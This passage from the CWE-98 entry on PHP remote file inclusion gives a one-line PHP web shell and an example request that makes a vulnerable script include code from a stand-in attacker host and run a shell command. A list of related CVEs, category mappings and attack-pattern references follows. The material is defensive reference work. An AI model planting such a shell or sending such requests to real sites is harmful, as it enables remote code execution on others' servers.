241
For the sake of this example, assume that the malicious version of function.php looks like the
following:
Example Language: (Bad)
system($_GET['cmd']);
An attacker could now go a step further in our example and provide a request string as follows:
Example Language: (Attack)
victim.php?module_name=http://malicious.example.com&cmd=/bin/ls%20-l
The code will attempt to include the malicious function.php file from the remote site. In turn, this file
executes the command specified in the 'cmd' parameter from the query string. The end result is an
attempt by tvictim.php to execute the potentially malicious command, in this case:
Example Language: (Attack)
/bin/ls -l
Note that the above PHP example can be mitigated by setting allow_url_fopen to false, although
this will not fully protect the code. See potential mitigations.
Observed Examples
Reference Description
CVE-2004-0285 Modification of assumed-immutable configuration variable in include file allows
file inclusion via direct request.
https://www.cve.org/CVERecord?id=CVE-2004-0285
CVE-2004-0030 Modification of assumed-immutable configuration variable in include file allows
file inclusion via direct request.
https://www.cve.org/CVERecord?id=CVE-2004-0030
CVE-2004-0068 Modification of assumed-immutable configuration variable in include file allows
file inclusion via direct request.
https://www.cve.org/CVERecord?id=CVE-2004-0068
CVE-2005-2157 Modification of assumed-immutable configuration variable in include file allows
file inclusion via direct request.
https://www.cve.org/CVERecord?id=CVE-2005-2157
CVE-2005-2162 Modification of assumed-immutable configuration variable in include file allows
file inclusion via direct request.
https://www.cve.org/CVERecord?id=CVE-2005-2162
CVE-2005-2198 Modification of assumed-immutable configuration variable in include file allows
file inclusion via direct request.
https://www.cve.org/CVERecord?id=CVE-2005-2198
CVE-2004-0128 Modification of assumed-immutable variable in configuration script leads to file
inclusion.
https://www.cve.org/CVERecord?id=CVE-2004-0128
CVE-2005-1864 PHP file inclusion.
https://www.cve.org/CVERecord?id=CVE-2005-1864
CVE-2005-1869 PHP file inclusion.
https://www.cve.org/CVERecord?id=CVE-2005-1869
CVE-2005-1870 PHP file inclusion.
https://www.cve.org/CVERecord?id=CVE-2005-1870
CVE-2005-2154 PHP local file inclusion.
https://www.cve.org/CVERecord?id=CVE-2005-2154
CVE-2002-1704 PHP remote file include.
CWE Version 4.14
CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP
Remote File Inclusion')
CWE-98: Improper Control of Filename for Include/Require
Statement in PHP Program ('PHP Remote File Inclusion') 242
Reference Description
https://www.cve.org/CVERecord?id=CVE-2002-1704
CVE-2002-1707 PHP remote file include.
https://www.cve.org/CVERecord?id=CVE-2002-1707
CVE-2005-1964 PHP remote file include.
https://www.cve.org/CVERecord?id=CVE-2005-1964
CVE-2005-1681 PHP remote file include.
https://www.cve.org/CVERecord?id=CVE-2005-1681
CVE-2005-2086 PHP remote file include.
https://www.cve.org/CVERecord?id=CVE-2005-2086
CVE-2004-0127 Directory traversal vulnerability in PHP include statement.
https://www.cve.org/CVERecord?id=CVE-2004-0127
CVE-2005-1971 Directory traversal vulnerability in PHP include statement.
https://www.cve.org/CVERecord?id=CVE-2005-1971
CVE-2005-3335 PHP file inclusion issue, both remote and local; local include uses ".." and
"%00" characters as a manipulation, but many remote file inclusion issues
probably have this vector.
https://www.cve.org/CVERecord?id=CVE-2005-3335
CVE-2009-1936 chain: library file sends a redirect if it is directly requested but continues to
execute, allowing remote file inclusion and path traversal.
https://www.cve.org/CVERecord?id=CVE-2009-1936
Affected Resources
• File or Directory
MemberOf Relationships
This MemberOf relationships table shows additional CWE Catgeories and Views that reference this
weakness as a member. This information is often useful in understanding where a weakness fits
within the context of external information sources.
Nature Type ID Name Page
MemberOf 714 OWASP Top Ten 2007 Category A3 - Malicious File
Execution
629 2331
MemberOf 727 OWASP Top Ten 2004 Category A6 - Injection Flaws 711 2337
MemberOf 802 2010 Top 25 - Risky Resource Management 800 2354
MemberOf 1347 OWASP Top Ten 2021 Category A03:2021 - Injection 1344 2490
MemberOf 1416 Comprehensive Categorization: Resource Lifecycle
Management
1400 2545
Notes
Relationship
This is frequently a functional consequence of other weaknesses. It is usually multi-factor with
other factors (e.g. MAID), although not all inclusion bugs involve assumed-immutable data. Direct
request weaknesses frequently play a role. Can overlap directory traversal in local inclusion
problems.
Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
PLOVER PHP File Include
OWASP Top Ten 2007 A3 CWE More Specific Malicious File Execution
WASC 5 Remote File Inclusion
Related Attack Patterns
CAPEC-ID Attack Pattern Name
193 PHP Remote File Inclusion
CWE Version 4.14
CWE-99: Improper Control of Resource Identifiers ('Resource Injection')
CWE-99: Improper Control of Resource Identifiers ('Resource Injection')